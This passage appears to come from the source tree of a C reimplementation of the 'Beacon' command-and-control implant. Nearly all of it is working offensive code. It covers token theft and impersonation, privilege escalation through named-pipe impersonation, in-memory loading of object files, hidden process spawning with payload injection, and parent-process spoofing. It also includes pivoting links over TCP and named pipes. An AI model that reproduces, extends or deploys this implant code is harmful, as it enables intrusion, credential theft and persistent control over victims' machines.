if (!ImpersonateLoggedOnUser(hToken))
{
int lastError = GetLastError();
LERROR("Failed to impersonate token from %d (%s)", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_IMPERSONATE_STEAL_TOKEN_FAILED, pid, lastError);
return;
}
if(!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityDelegation, TokenPrimary, &gIdentityToken))
{
int lastError = GetLastError();
LERROR("Failed to duplicate token from %d (%s)", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_DUPLICATE_TOKEN_FAILED, pid, lastError);
return;
}
if (!ImpersonateLoggedOnUser(gIdentityToken))
{
int lastError = GetLastError();
LERROR("Failed to impersonate logged on user %d (%s)", pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_IMPERSONATE_LOGGED_ON_USER_FAILED, pid, lastError);
return;
}
CloseHandle(hProcess);
if (hToken)
CloseHandle(hToken);
char accountName[0x200];
if (IdentityGetUserInfo(gIdentityToken, accountName, sizeof(accountName)))
{
BeaconOutput(CALLBACK_TOKEN_STOLEN, accountName, strlen(accountName));
}
}
HANDLE hElevationToken;
HANDLE hPrenamedPipe;
HANDLE hPreelevationAuxThread;
HANDLE hPrenamedPipe;
void IdentityElevationThread(LPVOID lpThreadParameter)
{
#define MAX_TO_READ 128
while (!ConnectNamedPipe(hPrenamedPipe, NULL) && GetLastError() != ERROR_PIPE_CONNECTED);
char toRead[MAX_TO_READ] = { 0 };
DWORD read = 0;
if(ReadFile(hPrenamedPipe, toRead, sizeof(char), &read, NULL))
{
if(ImpersonateNamedPipeClient(hPrenamedPipe))
{
HANDLE hCurrentThread = GetCurrentThread();
if (OpenThreadToken(hCurrentThread, TOKEN_ALL_ACCESS, FALSE, &hElevationToken))
{
if(hPrenamedPipe)
{
DisconnectNamedPipe(hPrenamedPipe);
CloseHandle(hPrenamedPipe);
}
}
}
}
--gThreadsActive;
}
void IdentityElevatePre(char* buffer, int length)
{
#define MAX_NAME 0x100
char name[MAX_NAME];
if (length > MAX_NAME)
return;
size_t end = length;
memcpy(name, buffer, length);
name[end] = 0;
hElevationToken = INVALID_HANDLE_VALUE;
hPreelevationAuxThread = INVALID_HANDLE_VALUE;
hPrenamedPipe = CreateNamedPipeA(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 2, 0, 0, 0, NULL);
if (hPrenamedPipe)
{
hPreelevationAuxThread = CreateThreadEx(IdentityElevationThread, NULL);
}
}
void IdentityElevatePost()
{
#define MAX_ACCOUNT_NAME 0x200
char accountName[MAX_ACCOUNT_NAME];
if (hPreelevationAuxThread != INVALID_HANDLE_VALUE)
{
WaitForSingleObject(hPreelevationAuxThread, 15000);
}
if(hElevationToken == INVALID_HANDLE_VALUE)
{
LERROR("Failed to open token");
BeaconErrorNA(ERROR_OPEN_TOKEN_FAILED);
return;
}
if (!ImpersonateLoggedOnUser(hElevationToken))
{
DWORD lastError = GetLastError();
LERROR("Failed to impersonate token: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_POST_IMPERSONATE_TOKEN_FAILED, lastError);
return;
}
gIdentityToken = hElevationToken;
if (IdentityGetUserInfo(hElevationToken, accountName, sizeof(accountName)))
BeaconOutput(CALLBACK_TOKEN_STOLEN, accountName, strlen(accountName));
}
void IdentityGetPrivilegesInternal(char* buffer, int length, HANDLE hToken, formatp* locals)
{
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
datap parser;
BeaconDataParse(&parser, buffer, length);
short numPrivileges = BeaconDataShort(&parser);
char name[64];
for (int i = 0; i < numPrivileges; i++)
{
BeaconDataStringCopySafe(&parser, name, sizeof(name));
tokenPrivileges.PrivilegeCount = 0;
tokenPrivileges.Privileges[0].Luid.HighPart = 0;
if (LookupPrivilegeValueA(NULL, name, &tokenPrivileges.Privileges[0].Luid))
{
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL))
{
if (!GetLastError())
{
BeaconFormatPrintf(locals, "%s\n", name);
}
}
}
}
}
void IdentityGetPrivileges(char* buffer, int length)
{
formatp locals;
BeaconFormatAlloc(&locals, 0x8000);
if(gIdentityDomain)
{
IdentityRevertToken();
IdentityGetPrivilegesInternal(buffer, length, gIdentityToken, &locals);
IdentityImpersonateToken();
}else
{
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
if(OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
IdentityGetPrivilegesInternal(buffer, length, hToken, &locals);
CloseHandle(hProcess);
}else
{
LERROR("Could not open process token");
BeaconErrorNA(ERROR_OPEN_PROCESS_TOKEN_PRIVS_FAILED);
}
}
if (BeaconDataLength(&locals))
{
int size = BeaconDataLength(&locals);
char* data = BeaconDataOriginal(&locals);
BeaconOutput(CALLBACK_OUTPUT, data, size);
}
BeaconFormatFree(&locals);
}
================================================
FILE: Beacon/identity.h
================================================
#pragma once
extern HANDLE gIdentityToken;
extern BOOL gIdentityIsLoggedIn;
#define IDENTITY_MAX_WCHARS_DOMAIN 256
#define IDENTITY_MAX_WCHARS_USERNAME 256
#define IDENTITY_MAX_WCHARS_PASSWORD 512
extern WCHAR* gIdentityDomain;
extern WCHAR* gIdentityUsername;
extern WCHAR* gIdentityPassword;
void IdentityRevertToken(void);
void IdentityImpersonateToken(void);
void IdentityConditionalRevert(BOOL ignoreToken);
void IdentityConditionalImpersonate(BOOL ignoreToken);
void IdentityLoginUser(char* buffer, int length);
void IdentityGetUid(void);
void IdentityStealToken(char* buffer, int length);
void IdentityElevatePre(char* buffer, int length);
void IdentityElevatePost();
void IdentityGetPrivileges(char* buffer, int length);
================================================
FILE: Beacon/inline_execute_object.c
================================================
#include "pch.h"
#include "inline_execute_object.h"
#include "api.h"
#include "beacon.h"
#include "settings.h"
#include "spawn.h"
// 1. Sections; 2. Relocations; 3. Symbols (hierarchy)
struct bapi;
typedef struct _RELOCATION
{
unsigned short r_type; // relocation type - r_type
union {
short section;
short function;
} sof;
long r_vaddr; //virtual address of the item to be relocated - r_vaddr
unsigned long e_value; //value of the symbol - e_value
} RELOCATION;
// Relocate a 32-bit relative reference
#define RELOC_REL32 20
// Relocate a 32-bit absolute reference
#define RELOC_ADDR32 6
#define RELOC64_REL32 4
#define RELOC_UNK_10 10
BOOL ProcessRelocation(RELOCATION* relocation, char* code, char* img, char* pSection, unsigned long offsetInSection)
{
// This is for the BOF to be able to call Win32 APIs
if (IS_X64() && relocation->r_type < RELOC_UNK_10)
{
const unsigned long long diff = *(unsigned long*)(code + relocation->r_vaddr) + (unsigned long long)(pSection + offsetInSection) - (unsigned long long)(img + relocation->r_vaddr + relocation->r_type);
// Check if the difference is too big to fit in a 32-bit signed integer
if (diff + (UINT_MAX / 2 + 1) > UINT_MAX)
{
LERROR("Relocation truncated to fit (distance between executable code and other data is >4GB)");
BeaconErrorNA(ERROR_RELOCATION_TRUNCATED_TO_FIT);
return FALSE;
}
*(long*)(code + relocation->r_vaddr) = *(long*)(code + relocation->r_vaddr) + (long)(pSection + offsetInSection) - (long)(img + relocation->r_vaddr + relocation->r_type);
} else if (!IS_X64() && relocation->r_type == RELOC_ADDR32)
{
*(long*)(code + relocation->r_vaddr) = *(long*)(code + relocation->r_vaddr) + (long)(pSection + offsetInSection);
}
else if (!IS_X64() && relocation->r_type == RELOC_REL32)
{
*(long*)(code + relocation->r_vaddr) = *(long*)(code + relocation->r_vaddr) + (long)(pSection + offsetInSection) - (long)(img + relocation->r_vaddr + 4);
}
else
{
LERROR("Un-implemented relocation type %d", relocation->r_type);
BeaconErrorD(ERROR_UNIMPLEMENTED_RELOCATION_TYPE, relocation->r_type);
return FALSE;
}
return TRUE;
}
#define RDATA_SECTION_RELOC 1024
#define DATA_SECTION_RELOC 1025
#define EXE_SECTION_RELOC 1026
#define DYNAMIC_FUNC_RELOC 1027
#define MULTI_RELOC 1028
void InlineExecuteObject(char* buffer, int length)
{
bapi *api = malloc(sizeof(bapi));
BeaconAPI(api);
datap parser;
BeaconDataParse(&parser, buffer, length);
int entryPoint = BeaconDataInt(&parser);
sizedbuf codePair;
char* code = BeaconDataLengthAndString(&parser, &codePair);
int codeLength = codePair.size;
sizedbuf rdataPair;
char* rdata = BeaconDataLengthAndString(&parser, &rdataPair);
sizedbuf dataPair;
char* data = BeaconDataLengthAndString(&parser, &dataPair);
sizedbuf relocationsPair;
char* relocations = BeaconDataLengthAndString(&parser, &relocationsPair);
sizedbuf bytesPair;
char* bytes = BeaconDataLengthAndString(&parser, &bytesPair);
char* img = VirtualAlloc(NULL, codeLength, MEM_COMMIT | MEM_RESERVE, S_PROCINJ_PERMS_I);
if (!img)
{
free(api);
return;
}
PROC* dynamicFunctionPtr;
datap relocationsParser;
BeaconDataParse(&relocationsParser, relocations, relocationsPair.size);
//Clean version:
for (RELOCATION* relocation = (RELOCATION*)BeaconDataPtr(&relocationsParser, sizeof(RELOCATION));
relocation->sof.section != MULTI_RELOC;
relocation = (RELOCATION*)BeaconDataPtr(&relocationsParser, sizeof(RELOCATION)))
{
BOOL success;
if (relocation->sof.section == RDATA_SECTION_RELOC)
{
success = ProcessRelocation(relocation, code, img, rdata, relocation->e_value);
}
else if (relocation->sof.section == DATA_SECTION_RELOC)
{
success = ProcessRelocation(relocation, code, img, data, relocation->e_value);
}
else if (relocation->sof.section == EXE_SECTION_RELOC)
{
success = ProcessRelocation(relocation, code, img, img, relocation->e_value);
}
else
{
if (relocation->sof.function != DYNAMIC_FUNC_RELOC)
{
// BOF Internal function
dynamicFunctionPtr = (PROC*)api + relocation->sof.function;
}
else
{
// BOF Dynamic function
char* lpModuleName = BeaconDataStringPointer(&relocationsParser);
char* lpProcName = BeaconDataStringPointer(&relocationsParser);
HMODULE hModule = GetModuleHandleA(lpModuleName);
if (!hModule)
{
hModule = LoadLibraryA(lpModuleName);
}
FARPROC lpProc = GetProcAddress(hModule, lpProcName);
if (!lpProc)
{
LERROR("Could not resolve API %s!%s", lpModuleName, lpProcName);
BeaconErrorPrintf(ERROR_RESOLVE_API_FAILED, "%s!%s", lpModuleName, lpProcName);
goto cleanup;
}
PROC* dynamicFunction = FindOrAddDynamicFunction(api, lpProc);
if (!dynamicFunction)
{
LERROR("No slot for function (reduce number of Win32 APIs called)");
BeaconErrorNA(ERROR_NO_SLOT_FOR_FUNCTION);
goto cleanup;
}
dynamicFunctionPtr = dynamicFunction;
}
success = ProcessRelocation(relocation, code, img, (char*)dynamicFunctionPtr, 0);
}
if (!success)
{
goto cleanup;
}
}
memcpy(img, code, codeLength);
memset(code, 0, codeLength);
if (AdjustMemoryPermissions(img, codeLength))
{
// Call the entry point whose signature is void go(char* buff, int len)
((void(*)(char*, int))(img + entryPoint))(bytes, bytesPair.size);
}
cleanup:
VirtualFree(img, 0, MEM_RELEASE);
free(api);
}
================================================
FILE: Beacon/inline_execute_object.h
================================================
#pragma once
void InlineExecuteObject(char* buffer, int length);
================================================
FILE: Beacon/job.c
================================================
#include "pch.h"
#include "job.h"
#include "beacon.h"
#include "identity.h"
#include "pipe.h"
#include "protocol.h"
#include "spawn.h"
#include "utils.h"
typedef struct _JOB_ENTRY
{
int id;
HANDLE process;
HANDLE thread;
__int64 pid;
HANDLE hRead;
HANDLE hWrite;
struct _JOB_ENTRY* next;
SHORT isPipe;
SHORT isDead;
int pid32;
DWORD callbackType;
BOOL isMsgMode;
char description[64];
} JOB_ENTRY;
JOB_ENTRY* gJobs = NULL;
JOB_ENTRY* JobAdd(JOB_ENTRY* newJob)
{
static DWORD gJobCurrentId = 0;
JOB_ENTRY* job = gJobs;
newJob->id = gJobCurrentId++;
// Add to the end of the list
if (job)
{
while (job->next)
job = job->next;
job->next = newJob;
}
else
{
gJobs = newJob;
}
return job;
}
void JobCleanup()
{
// Close handles associated with completed jobs
// If gJobs is not empty, iterate through the list
;
for (JOB_ENTRY* job = gJobs; job; job = job->next)
{
if (job->isDead)
{
if (!job->isPipe)
{
CloseHandle(job->process);
CloseHandle(job->thread);
CloseHandle(job->hRead);
CloseHandle(job->hWrite);
} else
{
DisconnectNamedPipe(job->hRead);
CloseHandle(job->hRead);
}
}
}
JOB_ENTRY* prev = NULL;
JOB_ENTRY** pNext;
for (JOB_ENTRY* job = gJobs; job; job = *pNext)
{
if (!job->isDead)
{
prev = job;
pNext = &job->next;
continue;
}
if (prev)
pNext = &prev->next;
else
pNext = &gJobs;
*pNext = job->next;
free(job);
}
}
void JobKill(char* buffer, int size)
{
datap parser;
BeaconDataParse(&parser, buffer, size);
short id = BeaconDataShort(&parser);
for (JOB_ENTRY* job = gJobs; job; job = job->next)
{
if (job->id == id)
job->isDead = TRUE;
}
JobCleanup();
}
void JobPrintAll()
{
formatp format;
BeaconFormatAlloc(&format, 0x8000);
for (JOB_ENTRY* job = gJobs; job; job = job->next)
{
BeaconFormatPrintf(&format, "%d\t%d\t%s\n", job->id, job->pid32, job->description);
}
int size = BeaconDataLength(&format);
char* buffer = BeaconDataOriginal(&format);
BeaconOutput(CALLBACK_JOBS, buffer, size);
BeaconFormatFree(&format);
}
JOB_ENTRY* JobRegisterProcess(PROCESS_INFORMATION* pi, HANDLE hRead, HANDLE hWrite, char* description)
{
JOB_ENTRY* job = (JOB_ENTRY*)malloc(sizeof(JOB_ENTRY));
if (!job)
return NULL;
job->process = pi->hProcess;
job->thread = pi->hThread;
job->next = NULL;
job->isPipe = FALSE;
job->hRead = hRead;
job->hWrite = hWrite;
job->pid = pi->dwProcessId;
job->callbackType = CALLBACK_OUTPUT;
job->isMsgMode = FALSE;
job->pid32 = pi->dwProcessId;
strncpy(job->description, description, sizeof(job->description));
return JobAdd(job);
}
int JobReadDataFromPipe(HANDLE hPipe, char* buffer, int size)
{
DWORD totalBytesAvail = 0;
if(!PeekNamedPipe(hPipe, NULL, 0, NULL, &totalBytesAvail, NULL))
return -1;
DWORD read = 0;
DWORD totalRead = 0;
while(totalBytesAvail)
{
if(totalRead >= size)
break;
ReadFile(hPipe, buffer, size - totalRead, &read, NULL);
totalRead += read;
buffer += read;
if (!PeekNamedPipe(hPipe, NULL, 0, NULL, &totalBytesAvail, NULL))
return -1;
}
return totalRead;
}
int JobReadDataFromPipeWithHeader(HANDLE hPipe, char* buffer, int size)
{
DWORD lpTotalBytesAvail;
DWORD headerSize = 0;
if (!PeekNamedPipe(hPipe, NULL, 0, NULL, &lpTotalBytesAvail, NULL))
return -1;
if (!lpTotalBytesAvail)
return 0;
if (ProtocolSmbPipeRead(hPipe, (char*)&headerSize, sizeof(headerSize)) != sizeof(headerSize) || headerSize > size)
return -1;
return ProtocolSmbPipeRead(hPipe, buffer, headerSize);
}
JOB_ENTRY* JobRegisterPipe(HANDLE hRead, int pid32, int callbackType, char* description, BOOL isMsgMode)
{
JOB_ENTRY* job = (JOB_ENTRY*)malloc(sizeof(JOB_ENTRY));
if (!job)
return NULL;
job->hWrite = INVALID_HANDLE_VALUE;
job->next = NULL;
job->isMsgMode = isMsgMode;
job->hRead = hRead;
job->isPipe = TRUE;
job->pid32 = pid32;
job->callbackType = callbackType;
strncpy(job->description, description, sizeof(job->description));
return JobAdd(job);
}
void JobRegister(char* buffer, int size, BOOL impersonate, BOOL isMsgMode)
{
char filename[64] = { 0 };
char description[64] = { 0 };
datap parser;
BeaconDataParse(&parser, buffer, size);
int pid32 = BeaconDataInt(&parser);
short callbackType = BeaconDataShort(&parser);
short waitTime = BeaconDataShort(&parser);
if (!BeaconDataStringCopySafe(&parser, filename, sizeof(filename)))
return;
if (!BeaconDataStringCopySafe(&parser, description, sizeof(description)))
return;
HANDLE hPipe;
int attempts = 0;
while (!PipeConnectWithToken(filename, &hPipe, impersonate ? 0x20000 : 0))
{
Sleep(500);
if(++attempts >= 20)
{
DWORD lastError = GetLastError();
LERROR("Could not connect to pipe: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_CONNECT_TO_PIPE_FAILED, lastError);
return;
}
}
if (waitTime)
{
PipeWaitForData(hPipe, waitTime, 500);
}
JobRegisterPipe(hPipe, pid32, callbackType, description, isMsgMode);
}
void JobSpawnInternal(int callbackType, int waitTime, int reflectiveLoaderOffset, char* payload, int payloadLength, char* argument, int argumentLength, char* description, int descriptionLength, BOOL x86, BOOL ignoreToken)
{
IdentityConditionalRevert(ignoreToken);
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
HANDLE hRead, hWrite;
CreatePipe(&hRead, &hWrite, &sa, 0x100000);
GetStartupInfoA(&si);
si.hStdOutput = hWrite;
si.hStdError = hWrite;
si.hStdInput = NULL;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (BeaconSpawnTemporaryProcess(x86, ignoreToken, &si, &pi))
{
Sleep(100);
BeaconInjectTemporaryProcess(&pi, payload, payloadLength, reflectiveLoaderOffset, argument, argumentLength);
if (waitTime)
{
PipeWaitForData(hRead, waitTime, 500);
}
JobRegisterProcess(&pi, hRead, hWrite, description);
}
IdentityConditionalImpersonate(ignoreToken);
}
void JobSpawn(char* buffer, int size, BOOL x86, BOOL ignoreToken)
{
#define MAX_DESCRIPTION 64
datap* locals = BeaconDataAlloc(MAX_DESCRIPTION);
char* description = BeaconDataPtr(locals, MAX_DESCRIPTION);
datap parser;
BeaconDataParse(&parser, buffer, size);
short callbackType = BeaconDataShort(&parser);
short waitTime = BeaconDataShort(&parser);
int reflectiveLoaderOffset = BeaconDataInt(&parser);
int descriptionLength = BeaconDataStringCopySafe(&parser, description, MAX_DESCRIPTION);
int argumentLength = BeaconDataInt(&parser);
char* argument = argumentLength ? BeaconDataPtr(&parser, argumentLength) : NULL;
char* payload = BeaconDataBuffer(&parser);
int payloadLength = BeaconDataLength(&parser);
JobSpawnInternal(callbackType, waitTime, reflectiveLoaderOffset, payload, payloadLength, argument, argumentLength, description, descriptionLength, x86, ignoreToken);
BeaconDataFree(locals);
}
void JobExecuteInternal(char* buffer, int length)
{
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
HANDLE hRead, hWrite;
CreatePipe(&hRead, &hWrite, &sa, 0x100000);
GetStartupInfoA(&si);
si.hStdInput = NULL;
si.hStdOutput = hWrite;
si.hStdError = hWrite;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if(RunUnderParent(buffer, length, &si, &pi, CREATE_NEW_CONSOLE, FALSE))
{
WaitForSingleObject(pi.hProcess, 10000);
PROCESS_INFORMATION lPi = { pi.hProcess, NULL, pi.dwProcessId, 0 };
JOB_ENTRY* job = JobRegisterProcess(&lPi, hRead, hWrite, "process");
job->callbackType = CALLBACK_OUTPUT_OEM;
}
}
typedef BOOL(WINAPI* WOW64DISABLEWOW64FSREDIRECTION)(PVOID* OldValue);
typedef BOOL(WINAPI* WOW64REVERTWOW64FSREDIRECTION)(PVOID OldValue);
BOOL kernel32$Wow64DisableWow64FsRedirection(PVOID* OldValue)
{
HMODULE hModule = GetModuleHandleA("kernel32");
WOW64DISABLEWOW64FSREDIRECTION fnWow64DisableWow64FsRedirection = (WOW64DISABLEWOW64FSREDIRECTION)GetProcAddress(hModule, "Wow64DisableWow64FsRedirection");
if (!fnWow64DisableWow64FsRedirection)
return FALSE;
return fnWow64DisableWow64FsRedirection(OldValue);
}
BOOL kernel32$Wow64RevertWow64FsRedirection(PVOID OldValue)
{
HMODULE hModule = GetModuleHandleA("kernel32");
WOW64REVERTWOW64FSREDIRECTION fnWow64RevertWow64FsRedirection = (WOW64REVERTWOW64FSREDIRECTION)GetProcAddress(hModule, "Wow64RevertWow64FsRedirection");
if (!fnWow64RevertWow64FsRedirection)
return FALSE;
return fnWow64RevertWow64FsRedirection(OldValue);
}
void JobExecute(char* buffer, int length)
{
#define MAX_RUNNABLE_CMD 0x2000
#define MAX_EXPANDED_CMD 0x2000
#define MAX_ARGS 0x2000
#define MAX_CMD 0x2000
datap* locals = BeaconDataAlloc(MAX_RUNNABLE_CMD + MAX_EXPANDED_CMD + MAX_ARGS + MAX_CMD);
char* runnableCmd = BeaconDataPtr(locals, MAX_RUNNABLE_CMD);
char* expandedCmd = BeaconDataPtr(locals, MAX_EXPANDED_CMD);
char* args = BeaconDataPtr(locals, MAX_ARGS);
char* cmd = BeaconDataPtr(locals, MAX_CMD);
datap parser;
BeaconDataParse(&parser, buffer, length);
BeaconDataStringCopySafe(&parser, runnableCmd, MAX_RUNNABLE_CMD);
BeaconDataStringCopySafe(&parser, args, MAX_ARGS);
BOOL disableWow64FsRedirection = BeaconDataShort(&parser);
ExpandEnvironmentStrings_s(runnableCmd, expandedCmd, MAX_EXPANDED_CMD);
strncat_s(cmd, MAX_CMD, expandedCmd, MAX_EXPANDED_CMD);
strncat_s(cmd, MAX_CMD, args, MAX_ARGS);
PVOID oldValue;
if(disableWow64FsRedirection)
kernel32$Wow64DisableWow64FsRedirection(&oldValue);
JobExecuteInternal(cmd, strlen(cmd) + 1);
if(disableWow64FsRedirection)
kernel32$Wow64RevertWow64FsRedirection(oldValue);
BeaconDataFree(locals);
}
================================================
FILE: Beacon/job.h
================================================
#pragma once
void JobSpawn(char* buffer, int size, BOOL x86, BOOL ignoreToken);
void JobRegister(char* buffer, int size, BOOL impersonate, BOOL isMsgMode);
void JobKill(char* buffer, int size);
void JobPrintAll();
void JobExecute(char* buffer, int length);
================================================
FILE: Beacon/link.c
================================================
#include "pch.h"
#include "link.h"
#include "beacon.h"
#include "network.h"
#include "protocol.h"
typedef struct _LINK_ENTRY
{
int bid;
PROTOCOL protocol;
BOOL isOpen;
char* callbackData;
int callbackLength;
int lastPingTime;
} LINK_ENTRY;
#define MAX_LINKS 28
LINK_ENTRY gLinks[MAX_LINKS] = { 0 };
BOOL LinkAdd(PROTOCOL* protocol, int pivotHints)
{
char buffer[256] = { 0 };
if (!protocol->waitForData(protocol, 30000, 10))
return FALSE;
int read = protocol->read(protocol, buffer, sizeof(buffer));
if (read < 0)
return FALSE;
datap parser;
BeaconDataParse(&parser, buffer, read);
int bid = BeaconDataInt(&parser);
LINK_ENTRY* openLink = NULL;
for(int i = 0; i < MAX_LINKS; i++)
{
if (gLinks[i].isOpen)
{
openLink = &gLinks[i];
break;
}
}
if (!openLink)
{
LERROR("Maximum links reached. Disconnect one");
BeaconErrorNA(ERROR_MAXIMUM_LINKS_REACHED);
return FALSE;
}
openLink->bid = bid;
openLink->protocol = *protocol;
openLink->isOpen = TRUE;
#define MAX_CALLBACK_DATA 0x100
if ( openLink->callbackData == NULL )
{
openLink->callbackData = malloc(MAX_CALLBACK_DATA);
if (openLink->callbackData == NULL)
return FALSE;
}
formatp format;
BeaconFormatUse(&format, openLink->callbackData, MAX_CALLBACK_DATA);
BeaconFormatInt(&format, bid);
BeaconFormatInt(&format, pivotHints);
char* buf = BeaconDataBuffer(&parser);
BeaconFormatAppend(&format, buf, read - sizeof(int));
openLink->callbackLength = BeaconDataLength(&format);
BeaconOutput(CALLBACK_PIPE_OPEN, openLink->callbackData, openLink->callbackLength);
return TRUE;
}
SOCKET LinkViaTcpConnect(char* target, short port)
{
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_HOPOPTS);
if (sock == INVALID_SOCKET)
return INVALID_SOCKET;
// Get host by name
struct hostent* host = gethostbyname(target);
if (host == NULL)
{
closesocket(sock);
return INVALID_SOCKET;
}
struct sockaddr_in addr;
memcpy(&addr.sin_addr, host->h_addr, host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR)
{
closesocket(sock);
return INVALID_SOCKET;
}
return sock;
}
#define PIVOT_HINT_REVERSE 0x10000
#define PIVOT_HINT_FORWARD 0
#define PIVOT_HINT_PROTO_PIPE 0
#define PIVOT_HINT_PROTO_TCP 0x100000
void LinkViaTcp(char* buffer, int length)
{
int timeout = GetTickCount() + 15000;
datap parser;
BeaconDataParse(&parser, buffer, length);
short port = BeaconDataShort(&parser);
char* target = BeaconDataBuffer(&parser);
NetworkInit();
while(GetTickCount() < timeout)
{
SOCKET sock = LinkViaTcpConnect(target, port);
if (sock != INVALID_SOCKET)
{
PROTOCOL protocol;
ProtocolTcpInit(&protocol, sock);
LinkAdd(&protocol, port | PIVOT_HINT_PROTO_TCP);
return;
}
Sleep(1000);
}
DWORD error = WSAGetLastError();
BeaconErrorD(ERROR_CONNECT_TO_TARGET_FAILED, error);
}
void PipeReopen(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int bid = BeaconDataInt(&parser);
for (int i = 0; i < MAX_LINKS; i++)
{
if (gLinks[i].isOpen == TRUE && gLinks[i].bid == bid)
{
BeaconOutput(CALLBACK_PIPE_OPEN, gLinks[i].callbackData, gLinks[i].callbackLength);
break;
}
}
}
void PipeCloseInternal(int bid)
{
for (int i = 0; i < MAX_LINKS; i++)
{
if (gLinks[i].isOpen == TRUE && gLinks[i].bid == bid)
{
bid = htonl(bid);
BeaconOutput(CALLBACK_PIPE_CLOSE, (char*)&bid, sizeof(int));
gLinks[i].bid = 0;
gLinks[i].isOpen = FALSE;
gLinks[i].lastPingTime = 0;
break;
}
}
}
void PipeClose(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int bid = BeaconDataInt(&parser);
PipeCloseInternal(bid);
}
typedef struct _ROUTE_DATA
{
int bid;
char data[];
} ROUTE_DATA;
ROUTE_DATA* gRouteAux = NULL;
void PipeRoute(char* buffer, int length)
{
#define MAX_ROUTE_AUX 0x100000
if (!gRouteAux)
{
gRouteAux = malloc(MAX_ROUTE_AUX);
if (!gRouteAux)
{
LERROR("Could not allocate memory for route aux");
return;
}
}
datap parser;
BeaconDataParse(&parser, buffer, length);
int bid = BeaconDataInt(&parser);
int baseLen = BeaconDataLength(&parser);
int len = baseLen;
for(int i = 0; i < MAX_LINKS; i++)
{
if (gLinks[i].bid != bid || gLinks[i].isOpen == FALSE)
continue;
PROTOCOL* pProtocol = &gLinks[i].protocol;
char* wdata;
if(len <= 0)
{
len = 0;
wdata = NULL;
} else
{
len = baseLen;
wdata = BeaconDataBuffer(&parser);
}
if(pProtocol->write(pProtocol, wdata, len) == 0)
{
PipeCloseInternal(bid);
break;
}
gRouteAux->bid = bid;
int read;
if(pProtocol->waitForData(pProtocol, 300000, 10))
{
read = pProtocol->read(pProtocol, gRouteAux->data, MAX_ROUTE_AUX - offsetof(ROUTE_DATA, data));
} else
{
read = -1;
}
int size = offsetof(ROUTE_DATA, data);
if(read <= 0)
{
if(read != 0)
{
PipeCloseInternal(bid);
continue;
}
} else
{
size += read;
}
BeaconOutput(CALLBACK_PIPE_READ, (char*)gRouteAux, size);
}
}
void PingHandle()
{
for(int i = 0; i < MAX_LINKS; i++)
{
if (!gLinks[i].isOpen)
continue;
if (gLinks[i].lastPingTime >= GetTickCount())
continue;
DWORD now = GetTickCount();
gLinks[i].lastPingTime = now + 15000;
u_long bid = htonl(gLinks[i].bid);
BeaconOutput(CALLBACK_PIPE_PING, (char*)&bid, sizeof(u_long));
}
}
================================================
FILE: Beacon/link.h
================================================
#pragma once
#include "protocol.h"
#define HINT_REVERSE 0x10000
#define HINT_FORWARD 0
#define HINT_PROTO_PIPE 0
#define HINT_PROTO_TCP 0x100000
void LinkViaTcp(char* buffer, int length);
SOCKET LinkViaTcpConnect(char* target, short port);
BOOL LinkAdd(PROTOCOL* protocol, int pivotHints);
void PipeReopen(char* buffer, int length);
void PipeClose(char* buffer, int length);
void PipeRoute(char* buffer, int length);
================================================
FILE: Beacon/logger.h
================================================
#pragma once
#ifdef _DEBUG
#define ANSI_COLOR_RED "\x1b[31m"
#define ANSI_COLOR_GREEN "\x1b[32m"
#define ANSI_COLOR_YELLOW "\x1b[33m"
#define ANSI_COLOR_BLUE "\x1b[36m"
#define ANSI_COLOR_MAGENTA "\x1b[35m"
#define ANSI_COLOR_RESET "\x1b[0m"
#define LOG(color, label, format, ...) \
do { \
printf("%s%s " ANSI_COLOR_RESET, color, label); \
printf(format, ##__VA_ARGS__); \
printf("\n"); \
} while (0)
#define LINFO(...) LOG(ANSI_COLOR_BLUE, "[INFO]", __VA_ARGS__)
#define LWARNING(...) LOG(ANSI_COLOR_YELLOW, "[WARNING]", __VA_ARGS__)
#define LERROR(...) LOG(ANSI_COLOR_RED, "[ERROR]", __VA_ARGS__)
#define LOK(...) LOG(ANSI_COLOR_GREEN, "[OK]", __VA_ARGS__)
#define LTODO(...) LOG(ANSI_COLOR_MAGENTA, "[TODO]", __VA_ARGS__)
#define LLOG(...) LOG("\n", "", __VA_ARGS__)
#define LNEWLINE() LOG("\n")
#define LAST_ERROR_STR(...) "" // TODO: Implement
#else
#define LINFO(...)
#define LWARNING(...)
#define LERROR(...)
#define LOK(...)
#define LTODO(...)
#define LLOG(...)
#define LNEWLINE()
#define LAST_ERROR_STR(...)
#endif
================================================
FILE: Beacon/macros.h
================================================
#pragma once
#define STRLEN(s) ((int)((sizeof(s)/sizeof(s[0])) - 1))
#if _WIN64
#define HIDWORD(x) ((DWORD)((DWORD64)(x) >> (8*(sizeof(DWORD)))))
#define LODWORD(x) ((DWORD)(x))
#define IS_X64() (TRUE)
#else
#define HIDWORD(x) 0
#define LODWORD(x) ((DWORD)(x))
#define IS_X64() (FALSE)
#endif
================================================
FILE: Beacon/main.c
================================================
#include "pch.h"
int main(int argc, char* argv[])
